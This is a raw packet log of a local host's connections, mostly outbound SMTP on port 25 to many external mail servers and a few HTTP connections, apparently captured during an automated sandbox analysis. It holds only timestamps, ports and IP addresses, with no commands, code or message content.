Oct 31, 2022 12:20:55.580069065 CET	25	50098	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:55.580753088 CET	50098	25	192.168.2.5	74.125.140.27
Oct 31, 2022 12:20:55.589114904 CET	50102	25	192.168.2.5	94.100.180.31
Oct 31, 2022 12:20:55.602926970 CET	25	50100	198.252.153.129	192.168.2.5
Oct 31, 2022 12:20:55.603147984 CET	50100	25	192.168.2.5	198.252.153.129
Oct 31, 2022 12:20:55.608906031 CET	25	50098	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:55.608938932 CET	25	50098	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:55.608959913 CET	25	50098	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:55.608978033 CET	25	50098	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:55.608997107 CET	25	50098	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:55.609013081 CET	25	50098	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:55.609030008 CET	25	50098	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:55.609049082 CET	25	50098	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:55.609066963 CET	25	50098	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:55.609082937 CET	25	50098	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:55.609091043 CET	50098	25	192.168.2.5	74.125.140.27
Oct 31, 2022 12:20:55.609101057 CET	25	50098	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:55.609118938 CET	25	50098	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:55.609138012 CET	25	50098	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:55.609159946 CET	25	50098	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:55.609162092 CET	50098	25	192.168.2.5	74.125.140.27
Oct 31, 2022 12:20:55.609179020 CET	25	50098	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:55.609193087 CET	50098	25	192.168.2.5	74.125.140.27
Oct 31, 2022 12:20:55.609200954 CET	25	50098	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:55.609220028 CET	25	50098	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:55.614279985 CET	25	50098	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:55.614306927 CET	25	50098	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:55.643085957 CET	25	50098	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:55.643136024 CET	25	50098	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:55.643157005 CET	25	50098	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:55.643176079 CET	25	50098	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:55.643193960 CET	25	50098	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:55.643213987 CET	25	50098	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:55.643232107 CET	25	50098	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:55.643249035 CET	25	50098	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:55.643269062 CET	25	50098	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:55.643290043 CET	25	50098	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:55.643310070 CET	25	50098	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:55.643328905 CET	25	50098	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:55.643348932 CET	25	50098	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:55.643369913 CET	25	50098	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:55.643389940 CET	25	50098	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:55.643409014 CET	25	50098	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:55.643452883 CET	25	50098	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:55.644817114 CET	25	50098	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:55.647023916 CET	50098	25	192.168.2.5	74.125.140.27
Oct 31, 2022 12:20:55.648638964 CET	25	50102	94.100.180.31	192.168.2.5
Oct 31, 2022 12:20:55.651309013 CET	50102	25	192.168.2.5	94.100.180.31
Oct 31, 2022 12:20:55.680565119 CET	50105	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:20:55.681049109 CET	25	50098	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:55.681150913 CET	50098	25	192.168.2.5	74.125.140.27
Oct 31, 2022 12:20:55.710808992 CET	25	50102	94.100.180.31	192.168.2.5
Oct 31, 2022 12:20:55.711087942 CET	50102	25	192.168.2.5	94.100.180.31
Oct 31, 2022 12:20:55.712717056 CET	50102	25	192.168.2.5	94.100.180.31
Oct 31, 2022 12:20:55.713638067 CET	25	50105	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:55.713674068 CET	80	50104	64.70.19.203	192.168.2.5
Oct 31, 2022 12:20:55.713690996 CET	80	50104	64.70.19.203	192.168.2.5
Oct 31, 2022 12:20:55.713737965 CET	50105	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:20:55.713782072 CET	50104	80	192.168.2.5	64.70.19.203
Oct 31, 2022 12:20:55.727479935 CET	50104	80	192.168.2.5	64.70.19.203
Oct 31, 2022 12:20:55.755474091 CET	25	50105	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:55.755652905 CET	50105	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:20:55.770050049 CET	25	50103	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:55.770304918 CET	50103	25	192.168.2.5	142.250.141.27
Oct 31, 2022 12:20:55.771873951 CET	25	50102	94.100.180.31	192.168.2.5
Oct 31, 2022 12:20:55.771941900 CET	25	50102	94.100.180.31	192.168.2.5
Oct 31, 2022 12:20:55.771984100 CET	25	50102	94.100.180.31	192.168.2.5
Oct 31, 2022 12:20:55.772046089 CET	25	50102	94.100.180.31	192.168.2.5
Oct 31, 2022 12:20:55.772057056 CET	50102	25	192.168.2.5	94.100.180.31
Oct 31, 2022 12:20:55.772082090 CET	25	50102	94.100.180.31	192.168.2.5
Oct 31, 2022 12:20:55.772113085 CET	50102	25	192.168.2.5	94.100.180.31
Oct 31, 2022 12:20:55.772150993 CET	50102	25	192.168.2.5	94.100.180.31
Oct 31, 2022 12:20:55.772150993 CET	50102	25	192.168.2.5	94.100.180.31
Oct 31, 2022 12:20:55.774843931 CET	25	50100	198.252.153.129	192.168.2.5
Oct 31, 2022 12:20:55.775053024 CET	25	50100	198.252.153.129	192.168.2.5
Oct 31, 2022 12:20:55.780625105 CET	50100	25	192.168.2.5	198.252.153.129
Oct 31, 2022 12:20:55.788434029 CET	25	50105	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:55.799550056 CET	25	50105	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:55.799758911 CET	50105	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:20:55.811609030 CET	25	50102	94.100.180.31	192.168.2.5
Oct 31, 2022 12:20:55.811724901 CET	50102	25	192.168.2.5	94.100.180.31
Oct 31, 2022 12:20:55.830701113 CET	25	50102	94.100.180.31	192.168.2.5
Oct 31, 2022 12:20:55.830743074 CET	25	50102	94.100.180.31	192.168.2.5
Oct 31, 2022 12:20:55.830760002 CET	25	50102	94.100.180.31	192.168.2.5
Oct 31, 2022 12:20:55.830815077 CET	50102	25	192.168.2.5	94.100.180.31
Oct 31, 2022 12:20:55.830912113 CET	50102	25	192.168.2.5	94.100.180.31
Oct 31, 2022 12:20:55.831504107 CET	25	50102	94.100.180.31	192.168.2.5
Oct 31, 2022 12:20:55.831532001 CET	25	50102	94.100.180.31	192.168.2.5
Oct 31, 2022 12:20:55.831548929 CET	25	50102	94.100.180.31	192.168.2.5
Oct 31, 2022 12:20:55.831638098 CET	25	50102	94.100.180.31	192.168.2.5
Oct 31, 2022 12:20:55.831655025 CET	25	50102	94.100.180.31	192.168.2.5
Oct 31, 2022 12:20:55.831660032 CET	50102	25	192.168.2.5	94.100.180.31
Oct 31, 2022 12:20:55.831674099 CET	25	50102	94.100.180.31	192.168.2.5
Oct 31, 2022 12:20:55.831691027 CET	25	50102	94.100.180.31	192.168.2.5
Oct 31, 2022 12:20:55.831700087 CET	50102	25	192.168.2.5	94.100.180.31
Oct 31, 2022 12:20:55.831702948 CET	25	50102	94.100.180.31	192.168.2.5
Oct 31, 2022 12:20:55.831717014 CET	25	50102	94.100.180.31	192.168.2.5
Oct 31, 2022 12:20:55.831752062 CET	50102	25	192.168.2.5	94.100.180.31
Oct 31, 2022 12:20:55.831813097 CET	50102	25	192.168.2.5	94.100.180.31
Oct 31, 2022 12:20:55.831828117 CET	25	50102	94.100.180.31	192.168.2.5
Oct 31, 2022 12:20:55.831844091 CET	25	50102	94.100.180.31	192.168.2.5
Oct 31, 2022 12:20:55.831857920 CET	25	50102	94.100.180.31	192.168.2.5
Oct 31, 2022 12:20:55.831872940 CET	25	50102	94.100.180.31	192.168.2.5
Oct 31, 2022 12:20:55.840303898 CET	25	50105	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:55.840989113 CET	25	50105	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:55.841229916 CET	50105	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:20:55.849487066 CET	25	50058	85.187.148.2	192.168.2.5
Oct 31, 2022 12:20:55.849700928 CET	50058	25	192.168.2.5	85.187.148.2
Oct 31, 2022 12:20:55.870733023 CET	25	50102	94.100.180.31	192.168.2.5
Oct 31, 2022 12:20:55.880343914 CET	25	50105	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:55.890254021 CET	25	50102	94.100.180.31	192.168.2.5
Oct 31, 2022 12:20:55.891204119 CET	25	50102	94.100.180.31	192.168.2.5
Oct 31, 2022 12:20:55.891238928 CET	25	50102	94.100.180.31	192.168.2.5
Oct 31, 2022 12:20:55.891256094 CET	25	50102	94.100.180.31	192.168.2.5
Oct 31, 2022 12:20:55.891272068 CET	25	50102	94.100.180.31	192.168.2.5
Oct 31, 2022 12:20:55.891288996 CET	25	50102	94.100.180.31	192.168.2.5
Oct 31, 2022 12:20:55.891493082 CET	25	50102	94.100.180.31	192.168.2.5
Oct 31, 2022 12:20:55.919437885 CET	80	50104	64.70.19.203	192.168.2.5
Oct 31, 2022 12:20:55.952563047 CET	25	50100	198.252.153.129	192.168.2.5
Oct 31, 2022 12:20:55.952780962 CET	50100	25	192.168.2.5	198.252.153.129
Oct 31, 2022 12:20:55.974052906 CET	25	50103	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:56.004496098 CET	25	50058	85.187.148.2	192.168.2.5
Oct 31, 2022 12:20:56.004805088 CET	50058	25	192.168.2.5	85.187.148.2
Oct 31, 2022 12:20:56.005490065 CET	25	50103	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:56.007000923 CET	50103	25	192.168.2.5	142.250.141.27
Oct 31, 2022 12:20:56.027656078 CET	25	50105	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:56.028162003 CET	50105	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:20:56.061031103 CET	25	50105	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:56.069231987 CET	25	50105	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:56.069535971 CET	50105	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:20:56.071417093 CET	50105	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:20:56.104280949 CET	25	50105	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:56.104305983 CET	25	50105	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:56.104320049 CET	25	50105	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:56.104327917 CET	25	50105	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:56.104340076 CET	25	50105	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:56.104425907 CET	50105	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:20:56.104523897 CET	50105	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:20:56.105638027 CET	50115	80	192.168.2.5	64.70.19.203
Oct 31, 2022 12:20:56.109658003 CET	25	50105	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:56.109853029 CET	50105	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:20:56.130770922 CET	25	50100	198.252.153.129	192.168.2.5
Oct 31, 2022 12:20:56.130919933 CET	50100	25	192.168.2.5	198.252.153.129
Oct 31, 2022 12:20:56.137275934 CET	25	50105	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:56.137301922 CET	25	50105	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:56.137319088 CET	25	50105	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:56.137335062 CET	25	50105	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:56.137351990 CET	25	50105	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:56.137367964 CET	25	50105	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:56.137383938 CET	25	50105	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:56.137398958 CET	25	50105	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:56.137414932 CET	25	50105	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:56.137429953 CET	25	50105	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:56.137428045 CET	50105	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:20:56.137448072 CET	25	50105	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:56.137464046 CET	25	50105	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:56.137480021 CET	25	50105	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:56.137495041 CET	25	50105	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:56.137511015 CET	25	50105	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:56.137511969 CET	50105	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:20:56.137527943 CET	25	50105	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:56.137537003 CET	50105	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:20:56.137546062 CET	25	50105	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:56.142771006 CET	25	50105	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:56.142807007 CET	25	50105	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:56.150644064 CET	25	50088	74.125.133.27	192.168.2.5
Oct 31, 2022 12:20:56.150680065 CET	25	50088	74.125.133.27	192.168.2.5
Oct 31, 2022 12:20:56.150751114 CET	50088	25	192.168.2.5	74.125.133.27
Oct 31, 2022 12:20:56.151043892 CET	50088	25	192.168.2.5	74.125.133.27
Oct 31, 2022 12:20:56.159648895 CET	25	50058	85.187.148.2	192.168.2.5
Oct 31, 2022 12:20:56.159912109 CET	50058	25	192.168.2.5	85.187.148.2
Oct 31, 2022 12:20:56.170370102 CET	25	50105	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:56.170413017 CET	25	50105	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:56.170433044 CET	25	50105	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:56.170449018 CET	25	50105	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:56.170465946 CET	25	50105	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:56.170480967 CET	25	50105	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:56.170499086 CET	25	50105	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:56.170770884 CET	25	50105	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:56.170799971 CET	25	50105	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:56.170818090 CET	25	50105	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:56.170834064 CET	25	50105	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:56.170934916 CET	25	50105	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:56.170953035 CET	25	50105	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:56.170969963 CET	25	50105	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:56.170985937 CET	25	50105	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:56.171003103 CET	25	50105	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:56.171020031 CET	25	50105	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:56.178817034 CET	50116	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:20:56.181139946 CET	25	50105	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:56.181492090 CET	50105	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:20:56.184623003 CET	25	50088	74.125.133.27	192.168.2.5
Oct 31, 2022 12:20:56.210644960 CET	50117	25	192.168.2.5	142.250.153.26
Oct 31, 2022 12:20:56.215823889 CET	25	50103	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:56.219753027 CET	25	50105	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:56.222867012 CET	25	50105	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:56.223001003 CET	50105	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:20:56.237953901 CET	25	50117	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:56.238715887 CET	50117	25	192.168.2.5	142.250.153.26
Oct 31, 2022 12:20:56.240113020 CET	25	50103	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:56.241112947 CET	50103	25	192.168.2.5	142.250.141.27
Oct 31, 2022 12:20:56.267056942 CET	25	50117	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:56.267241001 CET	50117	25	192.168.2.5	142.250.153.26
Oct 31, 2022 12:20:56.294271946 CET	25	50117	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:56.296432018 CET	80	50115	64.70.19.203	192.168.2.5
Oct 31, 2022 12:20:56.296545029 CET	50115	80	192.168.2.5	64.70.19.203
Oct 31, 2022 12:20:56.296700954 CET	50115	80	192.168.2.5	64.70.19.203
Oct 31, 2022 12:20:56.297717094 CET	25	50117	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:56.297910929 CET	50117	25	192.168.2.5	142.250.153.26
Oct 31, 2022 12:20:56.303009033 CET	25	50100	198.252.153.129	192.168.2.5
Oct 31, 2022 12:20:56.303107977 CET	50100	25	192.168.2.5	198.252.153.129
Oct 31, 2022 12:20:56.325958014 CET	25	50117	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:56.326301098 CET	50117	25	192.168.2.5	142.250.153.26
Oct 31, 2022 12:20:56.348922014 CET	25	50102	94.100.180.31	192.168.2.5
Oct 31, 2022 12:20:56.349622011 CET	50102	25	192.168.2.5	94.100.180.31
Oct 31, 2022 12:20:56.353832006 CET	25	50058	85.187.148.2	192.168.2.5
Oct 31, 2022 12:20:56.357800961 CET	25	50117	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:56.408415079 CET	25	50102	94.100.180.31	192.168.2.5
Oct 31, 2022 12:20:56.408730030 CET	50102	25	192.168.2.5	94.100.180.31
Oct 31, 2022 12:20:56.449691057 CET	25	50103	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:56.482067108 CET	25	50103	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:56.482330084 CET	50103	25	192.168.2.5	142.250.141.27
Oct 31, 2022 12:20:56.487461090 CET	80	50115	64.70.19.203	192.168.2.5
Oct 31, 2022 12:20:56.487485886 CET	80	50115	64.70.19.203	192.168.2.5
Oct 31, 2022 12:20:56.487597942 CET	50115	80	192.168.2.5	64.70.19.203
Oct 31, 2022 12:20:56.487674952 CET	50115	80	192.168.2.5	64.70.19.203
Oct 31, 2022 12:20:56.497526884 CET	25	50117	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:56.497845888 CET	50117	25	192.168.2.5	142.250.153.26
Oct 31, 2022 12:20:56.524921894 CET	25	50117	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:56.525440931 CET	25	50117	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:56.535345078 CET	50117	25	192.168.2.5	142.250.153.26
Oct 31, 2022 12:20:56.537229061 CET	50117	25	192.168.2.5	142.250.153.26
Oct 31, 2022 12:20:56.538970947 CET	25	50116	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:56.539721966 CET	50116	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:20:56.564284086 CET	25	50117	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:56.564311028 CET	25	50117	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:56.564318895 CET	25	50117	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:56.564327955 CET	25	50117	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:56.564335108 CET	25	50117	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:56.564563036 CET	50117	25	192.168.2.5	142.250.153.26
Oct 31, 2022 12:20:56.569681883 CET	25	50117	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:56.569812059 CET	50117	25	192.168.2.5	142.250.153.26
Oct 31, 2022 12:20:56.591579914 CET	25	50117	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:56.591603041 CET	25	50117	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:56.591614008 CET	25	50117	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:56.591625929 CET	25	50117	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:56.591639996 CET	25	50117	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:56.591650963 CET	25	50117	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:56.591661930 CET	25	50117	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:56.591764927 CET	25	50117	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:56.591778040 CET	25	50117	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:56.591829062 CET	50117	25	192.168.2.5	142.250.153.26
Oct 31, 2022 12:20:56.591840029 CET	25	50117	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:56.591856956 CET	25	50117	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:56.591870070 CET	25	50117	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:56.591881990 CET	25	50117	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:56.591892958 CET	25	50117	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:56.591905117 CET	25	50117	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:56.591916084 CET	25	50117	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:56.591916084 CET	50117	25	192.168.2.5	142.250.153.26
Oct 31, 2022 12:20:56.591927052 CET	25	50117	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:56.596787930 CET	25	50117	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:56.596808910 CET	25	50117	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:56.619097948 CET	25	50117	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:56.619126081 CET	25	50117	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:56.619138002 CET	25	50117	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:56.619163990 CET	25	50117	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:56.619177103 CET	25	50117	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:56.619189024 CET	25	50117	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:56.619199991 CET	25	50117	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:56.619211912 CET	25	50117	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:56.619223118 CET	25	50117	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:56.619234085 CET	25	50117	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:56.619245052 CET	25	50117	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:56.619256020 CET	25	50117	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:56.619267941 CET	25	50117	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:56.619280100 CET	25	50117	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:56.619291067 CET	25	50117	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:56.619342089 CET	50117	25	192.168.2.5	142.250.153.26
Oct 31, 2022 12:20:56.646368980 CET	25	50117	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:56.646456957 CET	50117	25	192.168.2.5	142.250.153.26
Oct 31, 2022 12:20:56.673418045 CET	25	50117	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:56.675316095 CET	25	50117	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:56.675493956 CET	50117	25	192.168.2.5	142.250.153.26
Oct 31, 2022 12:20:56.678297997 CET	80	50115	64.70.19.203	192.168.2.5
Oct 31, 2022 12:20:56.690785885 CET	25	50103	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:56.702850103 CET	25	50117	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:56.703011990 CET	50117	25	192.168.2.5	142.250.153.26
Oct 31, 2022 12:20:56.708740950 CET	50120	25	192.168.2.5	142.250.150.26
Oct 31, 2022 12:20:56.715378046 CET	25	50103	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:56.715888977 CET	50103	25	192.168.2.5	142.250.141.27
Oct 31, 2022 12:20:56.717170954 CET	50103	25	192.168.2.5	142.250.141.27
Oct 31, 2022 12:20:56.762392998 CET	25	50120	142.250.150.26	192.168.2.5
Oct 31, 2022 12:20:56.763881922 CET	50120	25	192.168.2.5	142.250.150.26
Oct 31, 2022 12:20:56.818514109 CET	25	50120	142.250.150.26	192.168.2.5
Oct 31, 2022 12:20:56.818731070 CET	50120	25	192.168.2.5	142.250.150.26
Oct 31, 2022 12:20:56.847103119 CET	25	50116	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:56.847328901 CET	50116	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:20:56.872287035 CET	25	50120	142.250.150.26	192.168.2.5
Oct 31, 2022 12:20:56.875148058 CET	25	50120	142.250.150.26	192.168.2.5
Oct 31, 2022 12:20:56.875674963 CET	50120	25	192.168.2.5	142.250.150.26
Oct 31, 2022 12:20:56.893260956 CET	50123	80	192.168.2.5	199.59.243.222
Oct 31, 2022 12:20:56.911853075 CET	80	50123	199.59.243.222	192.168.2.5
Oct 31, 2022 12:20:56.911998034 CET	50123	80	192.168.2.5	199.59.243.222
Oct 31, 2022 12:20:56.912211895 CET	50123	80	192.168.2.5	199.59.243.222
Oct 31, 2022 12:20:56.920885086 CET	25	50103	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:56.920939922 CET	25	50103	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:56.920978069 CET	25	50103	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:56.921000957 CET	25	50103	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:56.921024084 CET	25	50103	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:56.921098948 CET	50103	25	192.168.2.5	142.250.141.27
Oct 31, 2022 12:20:56.921180964 CET	50103	25	192.168.2.5	142.250.141.27
Oct 31, 2022 12:20:56.925676107 CET	25	50103	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:56.925865889 CET	50103	25	192.168.2.5	142.250.141.27
Oct 31, 2022 12:20:56.929646015 CET	25	50120	142.250.150.26	192.168.2.5
Oct 31, 2022 12:20:56.929858923 CET	50120	25	192.168.2.5	142.250.150.26
Oct 31, 2022 12:20:56.930583000 CET	80	50123	199.59.243.222	192.168.2.5
Oct 31, 2022 12:20:56.989388943 CET	25	50120	142.250.150.26	192.168.2.5
Oct 31, 2022 12:20:57.073816061 CET	25	50116	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:57.085254908 CET	50116	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:20:57.113289118 CET	80	50123	199.59.243.222	192.168.2.5
Oct 31, 2022 12:20:57.113323927 CET	80	50123	199.59.243.222	192.168.2.5
Oct 31, 2022 12:20:57.113399029 CET	50123	80	192.168.2.5	199.59.243.222
Oct 31, 2022 12:20:57.124814987 CET	25	50103	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:57.124840021 CET	25	50103	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:57.124852896 CET	25	50103	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:57.124862909 CET	25	50103	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:57.124875069 CET	25	50103	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:57.124885082 CET	25	50103	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:57.124897957 CET	25	50103	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:57.124912024 CET	25	50103	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:57.124922991 CET	25	50103	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:57.124931097 CET	25	50103	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:57.124941111 CET	25	50103	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:57.124939919 CET	50103	25	192.168.2.5	142.250.141.27
Oct 31, 2022 12:20:57.124953032 CET	25	50103	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:57.124963999 CET	25	50103	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:57.124975920 CET	25	50103	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:57.125039101 CET	50103	25	192.168.2.5	142.250.141.27
Oct 31, 2022 12:20:57.125056028 CET	25	50103	142.250.141.27	192.168.2.5
